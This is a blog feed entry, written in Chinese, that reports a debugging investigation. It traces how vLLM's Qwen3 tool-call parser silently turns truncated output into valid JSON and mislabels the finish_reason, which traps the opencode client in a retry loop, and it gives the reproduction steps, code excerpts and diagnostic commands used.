<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
    <title>墨雪天琊</title>
    <subtitle>墨雪天琊的技术博客</subtitle>
    <link rel="self" type="application/atom+xml" href="https://vercel.juzhong.asia/atom.xml"/>
    <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia"/>
    <generator uri="https://www.getzola.org/">Zola</generator>
    <updated>2026-10-14T17:20:38+08:00</updated>
    <id>https://vercel.juzhong.asia/atom.xml</id>
    <entry xml:lang="en">
        <title>客户端卡死在 tool-use 上——vLLM 工具调用静默截断排查记</title>
        <published>2026-10-14T17:20:38+08:00</published>
        <updated>2026-10-14T17:20:38+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/10/vllm-tool-call-silent-truncation/"/>
        <id>https://vercel.juzhong.asia/2026/10/vllm-tool-call-silent-truncation/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/10/vllm-tool-call-silent-truncation/">&lt;h2 id=&quot;xian-xiang-yi-fang-shuo-qia-si-san-fang-du-shuo-mei-cuo&quot;&gt;现象：一方说卡死，三方都说没错&lt;&#x2F;h2&gt;
&lt;p&gt;线上的组合是 gpu 服务器上的 vLLM（dev 版 &lt;code&gt;0.26.1rc1.dev1045&lt;&#x2F;code&gt;）跑 &lt;code&gt;Qwen3.8-27B-FP8&lt;&#x2F;code&gt;（TP=2 + DFlash2 投机解码），agent 参数：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;--enable-auto-tool-choice --tool-call-parser qwen3_coder --reasoning-parser qwen3
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;客户端是 opencode。现象只有一句话：&lt;strong&gt;客户端 hang 在 tool-use 的返回上&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;先看服务端，一片干净：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;两天、1190 次 &lt;code&gt;POST &#x2F;v1&#x2F;chat&#x2F;completions&lt;&#x2F;code&gt;，&lt;strong&gt;全部 200 OK&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;日志里没有任何 ERROR，唯一能 grep 到的 &quot;error&quot; 都是启动期的无害 warning&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Running: N reqs&lt;&#x2F;code&gt; 的 token 数一直在涨，说明引擎在正常干活&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;客户端也不报错：界面转圈，一串重复的工具调用，永远不出结果。&lt;&#x2F;p&gt;
&lt;p&gt;这类&quot;三方都不报错&quot;的故障最麻烦——vLLM 认为自己给了 tool_calls，opencode 认为自己在让模型重试，模型认为自己马上就要写完了。本文记录完整的排查链路、源码级根因，以及一套可复用的排查工具箱。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;di-yi-bu-xian-gao-qing-chu-fu-wu-duan-dao-di-cun-liao-shen-me&quot;&gt;第一步：先搞清楚服务端到底存了什么&lt;&#x2F;h2&gt;
&lt;p&gt;vLLM 是 &lt;code&gt;nohup&lt;&#x2F;code&gt; 裸进程（无 systemd&#x2F;journald），日志就是启动脚本重定向的那个文件：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# gpu 机上（注意启动用户，日志在它的 $HOME 下）
ls -lt &amp;#x2F;home&amp;#x2F;smyl&amp;#x2F;logs&amp;#x2F;vllm-8000-*.log

# 关键检索：默认日志里有没有请求&amp;#x2F;响应？
grep -c &amp;#x27;&amp;quot;messages&amp;quot;&amp;#x27;        vllm-8000-*.log   # 0
grep -c &amp;#x27;&amp;quot;max_tokens&amp;quot;&amp;#x27;      vllm-8000-*.log   # 0
grep -c &amp;#x27;&amp;quot;tools&amp;quot;&amp;#x27;           vllm-8000-*.log   # 0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;结论：&lt;strong&gt;默认配置下，vLLM 日志只有 access log + 引擎统计，不含任何请求体和生成内容&lt;&#x2F;strong&gt;。想让它存，得重启并加：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;VLLM_LOGGING_LEVEL=DEBUG      # --enable-log-requests 依赖它，默认 INFO
--enable-log-requests         # 记录请求
--enable-log-outputs          # 默认 False，记录生成文本
--max-log-len &amp;lt;n&amp;gt;             # 控制日志里 prompt 截断长度
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;生产实例不方便重启，所以这次全程用&lt;strong&gt;抓包&lt;&#x2F;strong&gt;代替（后文有命令）。这是个重要前提：&lt;strong&gt;这类问题不要指望从 vLLM 日志里找到答案&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;di-er-bu-ke-hu-duan-neng-kan-shen-me&quot;&gt;第二步：客户端能看什么&lt;&#x2F;h2&gt;
&lt;p&gt;opencode 的日志（&lt;code&gt;~&#x2F;.local&#x2F;share&#x2F;opencode&#x2F;log&#x2F;opencode.log&lt;&#x2F;code&gt;）在 DEBUG 级别也不含请求体，连 &lt;code&gt;max_tokens&lt;&#x2F;code&gt;、&lt;code&gt;finish_reason&lt;&#x2F;code&gt; 都没有；故障发生时一条 WARN&#x2F;ERROR 都不会有。&lt;&#x2F;p&gt;
&lt;p&gt;真正有用的客户端记录是&lt;strong&gt;会话数据&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;opencode session list
opencode session export &amp;lt;sessionID&amp;gt; &amp;gt; s.json

# 或者直接查 DB（快得多）
db=~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;opencode&amp;#x2F;opencode.db
sqlite3 -header -column &amp;quot;$db&amp;quot; &amp;quot;
  select id, type,
         json_extract(data,&amp;#x27;\$.finish&amp;#x27;)           as finish,
         json_extract(data,&amp;#x27;\$.tokens.output&amp;#x27;)    as out_tok,
         json_extract(data,&amp;#x27;\$.tokens.reasoning&amp;#x27;) as rea_tok,
         json_extract(data,&amp;#x27;\$.outcome&amp;#x27;)          as outcome
  from session_message where session_id=&amp;#x27;ses_xxx&amp;#x27; order by seq;&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;一眼就能看到异常形态：&lt;strong&gt;&lt;code&gt;finish=tool-calls&lt;&#x2F;code&gt; 反复出现、每轮 output token 极少、工具的 &lt;code&gt;state.status=error&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;。这就是&quot;热循环&quot;的指纹。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;di-san-bu-wen-ding-fu-xian&quot;&gt;第三步：稳定复现&lt;&#x2F;h2&gt;
&lt;p&gt;不猜，直接造条件。opencode 侧用&lt;strong&gt;项目级配置&lt;&#x2F;strong&gt;（不污染全局）把输出预算压小，并关掉思考让 tool call 立刻开始：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;jsonc&quot; class=&quot;language-jsonc &quot;&gt;&lt;code class=&quot;language-jsonc&quot; data-lang=&quot;jsonc&quot;&gt;&amp;#x2F;&amp;#x2F; &amp;lt;scratch&amp;gt;&amp;#x2F;opencode.jsonc
{
  &amp;quot;$schema&amp;quot;: &amp;quot;https:&amp;#x2F;&amp;#x2F;opencode.ai&amp;#x2F;config.json&amp;quot;,
  &amp;quot;model&amp;quot;: &amp;quot;vllmcut&amp;#x2F;qwen3.8-27b-fp8&amp;quot;,
  &amp;quot;providers&amp;quot;: {
    &amp;quot;vllmcut&amp;quot;: {
      &amp;quot;package&amp;quot;: &amp;quot;aisdk:@ai-sdk&amp;#x2F;openai-compatible&amp;quot;,
      &amp;quot;settings&amp;quot;: { &amp;quot;baseURL&amp;quot;: &amp;quot;http:&amp;#x2F;&amp;#x2F;&amp;lt;gpu&amp;gt;:8000&amp;#x2F;v1&amp;quot; },
      &amp;quot;models&amp;quot;: {
        &amp;quot;qwen3.8-27b-fp8&amp;quot;: {
          &amp;quot;limit&amp;quot;: { &amp;quot;context&amp;quot;: 200000, &amp;quot;output&amp;quot;: 64 },
          &amp;quot;body&amp;quot;: { &amp;quot;chat_template_kwargs&amp;quot;: { &amp;quot;enable_thinking&amp;quot;: false } }
        }
      }
    }
  }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后让它&quot;用 write 工具创建一个 20 行的文件&quot;（长参数，必截断）。实测（每档跑 40 秒左右）：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;limit.output&lt;&#x2F;code&gt;&lt;&#x2F;th&gt;&lt;th&gt;assistant 轮数&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;finish&lt;&#x2F;code&gt; 分布&lt;&#x2F;th&gt;&lt;th&gt;错误类型&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;16&lt;&#x2F;td&gt;&lt;td&gt;125&lt;&#x2F;td&gt;&lt;td&gt;125× tool-calls&lt;&#x2F;td&gt;&lt;td&gt;全部 &lt;code&gt;input={}&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;64&lt;&#x2F;td&gt;&lt;td&gt;9（后自停）&lt;&#x2F;td&gt;&lt;td&gt;8× tool-calls + 1× length&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;tool.input-json&lt;&#x2F;code&gt; ×6、&lt;code&gt;tool.execution&lt;&#x2F;code&gt; ×2&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;128&lt;&#x2F;td&gt;&lt;td&gt;23&lt;&#x2F;td&gt;&lt;td&gt;22× tool-calls&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;tool.execution&lt;&#x2F;code&gt; ×19、&lt;code&gt;tool.input-json&lt;&#x2F;code&gt; ×3&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;192&lt;&#x2F;td&gt;&lt;td&gt;16&lt;&#x2F;td&gt;&lt;td&gt;15× tool-calls&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;tool.execution&lt;&#x2F;code&gt; ×11、&lt;code&gt;tool.input-json&lt;&#x2F;code&gt; ×4&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;交互式 TUI 里跑同一场景（跑约三分半后手动打断）的最终账：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;assistant 轮数: 73      finish: {tool-calls: 72, error: 1}
错误类型:        tool.execution ×67（缺键）、tool.input-json ×5（未闭合）
工具执行次数:    0      （executed=False ×72）
demo.txt:        始终未创建
累计 token:      input 714,754 &amp;#x2F; output 1,267
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;73 次工具调用、0 次执行、71 万输入 token、零产出&lt;&#x2F;strong&gt; —— 界面上就是&quot;卡死&quot;。&lt;&#x2F;p&gt;
&lt;p&gt;这里要先澄清一个容易写错（我就写错过）的表述：&lt;strong&gt;工具不执行，但 opencode 会重试&lt;&#x2F;strong&gt;。参数校验没过，opencode 不会真正调用工具（&lt;code&gt;executed=false&lt;&#x2F;code&gt;、文件不落盘），但它会把校验错误当 tool result 回灌给模型，让模型重新生成参数——于是循环。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;di-si-bu-gen-yin-yi-ceng-yi-ceng-bo&quot;&gt;第四步：根因，一层一层剥&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;4-1-mo-xing-shu-chu-de-gen-ben-bu-shi-json&quot;&gt;4.1 模型输出的根本不是 JSON&lt;&#x2F;h3&gt;
&lt;p&gt;用 &lt;code&gt;&#x2F;v1&#x2F;completions&lt;&#x2F;code&gt;（它不打 chat template、不跑 tool parser）+ 本地 &lt;code&gt;apply_chat_template&lt;&#x2F;code&gt; 渲染出与 chat 接口完全一致的 prompt，直接拿模型裸输出：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&amp;#x27;&amp;lt;tool_call&amp;gt;\n&amp;lt;function=write&amp;gt;\n&amp;lt;parameter=path&amp;gt;\ndemo.txt\n&amp;lt;&amp;#x2F;parameter&amp;gt;\n&amp;lt;parameter=content&amp;gt;\n1. Lorem ipsum&amp;#x27;
# finish_reason=length（真实！）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;两个关键事实：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;模型吐的是 &lt;strong&gt;XML &lt;code&gt;&amp;lt;parameter=…&amp;gt;&lt;&#x2F;code&gt; 块&lt;&#x2F;strong&gt;（Qwen3.8 风格），不是 JSON；&lt;&#x2F;li&gt;
&lt;li&gt;截断发生在 &lt;code&gt;&amp;lt;parameter=content&amp;gt;&lt;&#x2F;code&gt; 内部——&lt;strong&gt;&lt;code&gt;content&lt;&#x2F;code&gt; 这个块从未闭合&lt;&#x2F;strong&gt;，裸生成层的 &lt;code&gt;finish_reason&lt;&#x2F;code&gt; 如实报 &lt;code&gt;length&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;4-2-vllm-ba-ta-zhong-jian-cheng-he-fa-json&quot;&gt;4.2 vLLM 把它重建成&quot;合法 JSON&quot;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;qwen3_coder&lt;&#x2F;code&gt; 在这个版本里指向 &lt;code&gt;Qwen3EngineToolParser&lt;&#x2F;code&gt;，真正的转换在 &lt;code&gt;vllm&#x2F;parser&#x2F;qwen3.py&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;def _qwen3_arg_converter(raw_args: str, partial: bool) -&amp;gt; str:
    params: dict[str, object] = {}

    for match in _PARAM_RE.finditer(raw_args):        # 已闭合的 &amp;lt;parameter=x&amp;gt;v&amp;lt;&amp;#x2F;parameter&amp;gt;
        params[name] = _trim_wrapping_newlines(value)

    if partial:
        remaining = _PARAM_RE.sub(&amp;quot;&amp;quot;, raw_args)
        m = _PARTIAL_PARAM_RE.search(remaining)       # 最后那个没闭合的块
        if m and m.group(1):
            params[m.group(1)] = _trim_wrapping_newlines(m.group(2))

    return json.dumps(params, ensure_ascii=False)     # ← 重新序列化，括号必然配平
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;所以客户端拿到的 &lt;code&gt;arguments&lt;&#x2F;code&gt; 是 &lt;strong&gt;vLLM 用 &lt;code&gt;json.dumps(params)&lt;&#x2F;code&gt; 现造的&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;括号一定闭合、语法一定合法——因为它是服务端自己序列化的&lt;&#x2F;li&gt;
&lt;li&gt;缺的键 = 模型还没写到 &#x2F; 没写完的参数&lt;&#x2F;li&gt;
&lt;li&gt;解析器永远不会&quot;解析失败&quot;，只会&quot;能收多少收多少&quot;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;code&gt;partial&lt;&#x2F;code&gt; 开关决定两条路的差别（实测，同一 prompt、&lt;code&gt;temperature=0&lt;&#x2F;code&gt;）：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;路径&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;partial&lt;&#x2F;code&gt;&lt;&#x2F;th&gt;&lt;th&gt;未闭合的 &lt;code&gt;&amp;lt;parameter=content&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;th&gt;&lt;th&gt;客户端收到&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;非流式&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;False&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;整个丢掉&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;{&quot;path&quot;: &quot;demo.txt&quot;}&lt;&#x2F;code&gt;（合法但缺键）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;流式&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;True&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;收进来&lt;&#x2F;td&gt;&lt;td&gt;原始片断流式下发，收尾补 &lt;code&gt;&quot;}&lt;&#x2F;code&gt;；截断点不巧时&lt;strong&gt;真的未闭合&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;pre&gt;&lt;code&gt;[非流式] mt=20&amp;#x2F;24&amp;#x2F;30&amp;#x2F;40  finish=tool_calls  args=&amp;#x27;{&amp;quot;path&amp;quot;: &amp;quot;demo.txt&amp;quot;}&amp;#x27;   ← 半截 content 被静默丢弃
[流式]   mt=24           finish=tool_calls  拼接=&amp;#x27;{&amp;quot;path&amp;quot;: &amp;quot;demo.txt&amp;quot;}&amp;#x27;
         最后 3 个 delta = [&amp;#x27;{&amp;quot;path&amp;quot;: &amp;quot;&amp;#x27;, &amp;#x27;demo.txt&amp;#x27;, &amp;#x27;&amp;quot;}&amp;#x27;]               ← 闭合是最后一片补的
[流式]   mt=40           finish=tool_calls  拼接=&amp;#x27;{&amp;quot;path&amp;quot;: &amp;quot;demo.txt&amp;quot;, &amp;quot;content&amp;quot;: &amp;quot;1. Lorem ... \n2&amp;#x27;   ← 真没闭合
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;一个值写半截时（一个 &lt;code&gt;&amp;lt;parameter&amp;gt;&lt;&#x2F;code&gt; 块都没闭合）就得到 &lt;code&gt;{}&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-3-finish-reason-bei-gai-xie&quot;&gt;4.3 finish_reason 被改写&lt;&#x2F;h3&gt;
&lt;p&gt;对照实验：&lt;strong&gt;没有&lt;&#x2F;strong&gt; &lt;code&gt;&amp;lt;tool_call&amp;gt;&lt;&#x2F;code&gt; 标签的截断如实报 &lt;code&gt;length&lt;&#x2F;code&gt;；一旦输出里出现了 &lt;code&gt;&amp;lt;tool_call&amp;gt;&lt;&#x2F;code&gt;，截断就被吞掉、统一报 &lt;code&gt;tool_calls&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;max_tokens=64  finish=length      tool_calls=0     ← 无 tool_call：截断如实上报
max_tokens=24  finish=tool_calls  args=&amp;#x27;{&amp;quot;path&amp;quot;...}&amp;#x27;  ← 有 tool_call：截断信息丢失
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这是整条链里最坑的一环：&lt;strong&gt;&lt;code&gt;finish_reason=tool_calls&lt;&#x2F;code&gt; 在这条通道上不再意味着&quot;成功产出工具调用&quot;&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-4-ke-hu-duan-liang-chong-cuo-wu-tong-yi-ge-xun-huan&quot;&gt;4.4 客户端两种错误，同一个循环&lt;&#x2F;h3&gt;
&lt;p&gt;opencode 对工具失败有两种处理，都&lt;strong&gt;不执行&lt;&#x2F;strong&gt;工具、都&lt;strong&gt;回灌重试&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;服务端给的 arguments&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;error.type&lt;&#x2F;code&gt;&lt;&#x2F;th&gt;&lt;th&gt;界面表现&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;未闭合 JSON&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;tool.input-json&lt;&#x2F;code&gt;：&quot;Tool call arguments were malformed JSON and were not executed. Retry with valid JSON.&quot;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;连错误文字都不显示&lt;&#x2F;strong&gt;，纯转圈&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;合法 JSON 但缺必填键&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;tool.execution&lt;&#x2F;code&gt;：&quot;Invalid arguments for tool …: Missing key&quot;&lt;&#x2F;td&gt;&lt;td&gt;TUI 可展开显示错误&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;再叠加上一节的服务端行为，闭环形成：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;输出预算被截断
   ↓  裸生成层 finish_reason=length（真实）
vLLM 转换器收「已闭合的参数块」→ json.dumps() → 语法合法的 JSON
   ↓  finish_reason 改报 tool_calls（信息丢失）
opencode 参数校验失败 → 不执行工具 → 错误回灌 → &amp;quot;请重试&amp;quot;
   ↓
模型再写 → 再截断 → 死循环（只有 transport error &amp;#x2F; 模型吐出非工具内容 &amp;#x2F; 人工打断能停）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;值得注意的是它&lt;strong&gt;不是必然死循环&lt;&#x2F;strong&gt;：&lt;code&gt;limit.output=64&lt;&#x2F;code&gt; 那轮 8 次失败后模型吐出一段纯文本（&lt;code&gt;length&lt;&#x2F;code&gt;），opencode 就停了。这解释了线上&quot;有时卡一会儿、有时卡到天荒地老&quot;的随机感——取决于模型第 N 次是否产出非工具内容。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pai-cha-gong-ju-xiang-zhe-ci-shi-zhan-yan-zheng-guo-de&quot;&gt;排查工具箱（这次实战验证过的）&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;① 抓包看客户端到底发了什么、服务端到底回了什么&lt;&#x2F;strong&gt;（HTTP 明文，最可靠）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# gpu 机上（需要免密 sudo 的用户）
sudo tcpdump -i any -s0 -A &amp;quot;tcp port 8000 and host &amp;lt;client-ip&amp;gt;&amp;quot; &amp;gt; &amp;#x2F;tmp&amp;#x2F;cap.txt

# 分析。注意 opencode 新版发的是 max_completion_tokens，两个都要抓
grep -oE &amp;#x27;&amp;quot;max_(completion_)?tokens&amp;quot;:[0-9]+&amp;#x27; &amp;#x2F;tmp&amp;#x2F;cap.txt | sort | uniq -c
grep -oE &amp;#x27;&amp;quot;finish_reason&amp;quot;: ?&amp;quot;[a-z_]+&amp;quot;&amp;#x27; &amp;#x2F;tmp&amp;#x2F;cap.txt | sort | uniq -c
# 拿完整 arguments 片段（要允许转义，否则会被 \&amp;quot; 截断——我踩过）
grep -oE &amp;#x27;&amp;quot;arguments&amp;quot;:&amp;quot;([^&amp;quot;\\]|\\.)*&amp;quot;&amp;#x27; &amp;#x2F;tmp&amp;#x2F;cap.txt | sort | uniq -c
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;坑：别在 ssh 里 &lt;code&gt;&amp;amp;&lt;&#x2F;code&gt; 后台跑 tcpdump，sshd 会随会话把它收掉；要 tmux 或前台。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;② &lt;code&gt;&#x2F;v1&#x2F;completions&lt;&#x2F;code&gt; 拿模型裸输出&lt;&#x2F;strong&gt;（唯一不经过 tool parser 的推理入口）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;from transformers import AutoTokenizer
tok = AutoTokenizer.from_pretrained(MODEL_DIR, trust_remote_code=True)
prompt = tok.apply_chat_template(msgs, tools=tools, add_generation_prompt=True,
                                 tokenize=False, enable_thinking=False)
# POST &amp;#x2F;v1&amp;#x2F;completions, prompt=上面字符串, max_tokens=...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;顺带说明接口定位：&lt;code&gt;&#x2F;v1&#x2F;completions&lt;&#x2F;code&gt; 是 OpenAI 第一代补全接口（2020，GPT-3 时代），&lt;strong&gt;不是调试接口&lt;&#x2F;strong&gt;，在 vLLM 里是一等公民；&lt;code&gt;&#x2F;v1&#x2F;chat&#x2F;completions&lt;&#x2F;code&gt; 是 2023 年，&lt;code&gt;&#x2F;v1&#x2F;responses&lt;&#x2F;code&gt; 是 2025 年。用它不是因为它旧，而是因为只有它&quot;不打模板、不跑 parser&quot;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;③ &lt;code&gt;&#x2F;v1&#x2F;chat&#x2F;completions&#x2F;render&lt;&#x2F;code&gt; + &lt;code&gt;&#x2F;detokenize&lt;&#x2F;code&gt; 拿模型实际输入&lt;&#x2F;strong&gt;（vLLM 专有，只渲染不推理）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;TIDS=$(curl -s localhost:8000&amp;#x2F;v1&amp;#x2F;chat&amp;#x2F;completions&amp;#x2F;render -H &amp;#x27;Content-Type: application&amp;#x2F;json&amp;#x27; \
  -d &amp;#x27;{&amp;quot;model&amp;quot;:&amp;quot;...&amp;quot;,&amp;quot;messages&amp;quot;:[...],&amp;quot;chat_template_kwargs&amp;quot;:{&amp;quot;enable_thinking&amp;quot;:false}}&amp;#x27; \
  | python3 -c &amp;#x27;import json,sys;print(json.dumps(json.load(sys.stdin)[&amp;quot;token_ids&amp;quot;]))&amp;#x27;)
curl -s localhost:8000&amp;#x2F;detokenize -H &amp;#x27;Content-Type: application&amp;#x2F;json&amp;#x27; \
  -d &amp;quot;{\&amp;quot;model\&amp;quot;:\&amp;quot;...\&amp;quot;,\&amp;quot;tokens\&amp;quot;:$TIDS}&amp;quot;
# → &amp;#x27;&amp;lt;|im_start|&amp;gt;user\nhi&amp;lt;|im_end|&amp;gt;\n&amp;lt;|im_start|&amp;gt;assistant\n&amp;lt;think&amp;gt;\n\n&amp;lt;&amp;#x2F;think&amp;gt;\n\n&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;带不带 &lt;code&gt;tools&lt;&#x2F;code&gt;、&lt;code&gt;chat_template_kwargs&lt;&#x2F;code&gt; 渲染结果完全不同——排查&quot;客户端模板渲染对不对&quot;的正路。正常请求加 &lt;code&gt;&quot;return_token_ids&quot;: true&lt;&#x2F;code&gt; 也能拿到 &lt;code&gt;prompt_token_ids&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;④ 会话数据判定&lt;&#x2F;strong&gt;（见第二步的 SQL），命中下面三条就是本类故障：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;finish=tool-calls&lt;&#x2F;code&gt; 反复出现（几十次）&lt;&#x2F;li&gt;
&lt;li&gt;工具 &lt;code&gt;state.status=error&lt;&#x2F;code&gt;、&lt;code&gt;executed=false&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;每轮 output token 极少（贴着输出上限）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;xiu-fu-yu-jian-yi&quot;&gt;修复与建议&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;客户端把输出预算给足&lt;&#x2F;strong&gt;：&lt;code&gt;limit.output&lt;&#x2F;code&gt; 不只cover正文，&lt;strong&gt;reasoning 也吃同一份 &lt;code&gt;max_tokens&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;。思考把预算吃干时是同一种截断，只是连 &lt;code&gt;&amp;lt;tool_call&amp;gt;&lt;&#x2F;code&gt; 都没开始。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;别信 chat+tools 通道的 &lt;code&gt;finish_reason&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;：&lt;code&gt;tool_calls&lt;&#x2F;code&gt; 只说明&quot;输出里出现过 tool_call 标签&quot;，截断信息已被吞掉。要真相就走 &lt;code&gt;&#x2F;v1&#x2F;completions&lt;&#x2F;code&gt; 或抓包。&lt;&#x2F;li&gt;
